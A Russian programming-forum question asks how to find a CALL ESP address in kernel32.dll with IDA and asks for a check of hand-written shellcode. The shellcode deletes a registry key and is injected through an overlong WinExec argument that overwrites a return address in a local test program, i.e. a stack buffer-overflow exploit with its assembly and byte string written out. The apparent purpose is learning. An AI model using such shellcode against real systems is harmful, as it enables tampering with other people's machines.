Адрес инструкции CALL ESP - Assembler
Формулировка задачи:
Здравствуйте, подскажите пожалуйста, как найти адрес инструкции CALL ESP в библиотеке kernel32.dll? Учусь пользоваться IDA'ой но никак не получается. Открываю библиотеку с помощью IDA'ы, дальше Hex View и ищу FF D4. Но дело в том, что подобных сочетаний там много, чистого FF D4 нигде нет, есть 41 FF D4. Да и их адреса почему-то постоянно меняются. В начале показывает 00000001800BCA20, потом после переключения на IDA View и обратно показывает 00000001800BCA27, после переключения на Structures и обратно показывает 00000001800BCA28.
И ещё. Был написан шелл-код, который должен удалять ключ реестра. Может кто проверить, правильно ли он написан?
Листинг программы
- push ebp
- mov ebp, esp
- lea eax, [ebp + 36] #+байты шеллкода
- push eax
- xor eax, eax # не читать нули
- add eax, 1
- shl eax, 31
- add eax, 1
- push eax
- mov eax, 74E93C39h # адрес функции RegDeleteKey
- call eax
- mov eax, -1
- push eax
- mov eax, 76C139E4h # адрес функции ExitProcess
- call eax
Листинг программы
- WinExec("D:\\11prjct.exe "
- "123456789012"
- // тут будет адрес возврата
- "\x55"
- "\x8B\xEC"
- "\x8D\x45\x24" // + добавить байты для шеллкода
- "\x50"
- "\x33\xC0"
- "\x83\xC0\x01"
- "\xC1\xE0\x1F"
- "\x83\xC0\x01"
- "\x50"
- "\xB8\xC8\xC9\xB5\x74" // адрес функции RegDeleteKey
- "\xFF\xD0"
- "\xB8\xFF\xFF\xFF\xFF" // mov eax, -1
- "\x50"
- "\xB8\x64\x7F\x14\x76" // адрес функции ExitProcess
- "\xFF\xD0"
- "test", SW_SHOW);
Решение задачи: «Адрес инструкции CALL ESP»
textual
Листинг программы
- RegDeleteKey(HKEY_CURRENT_USER,(char*)ebp+36);
ИИ поможет Вам:
- решить любую задачу по программированию
- объяснить код
- расставить комментарии в коде
- и т.д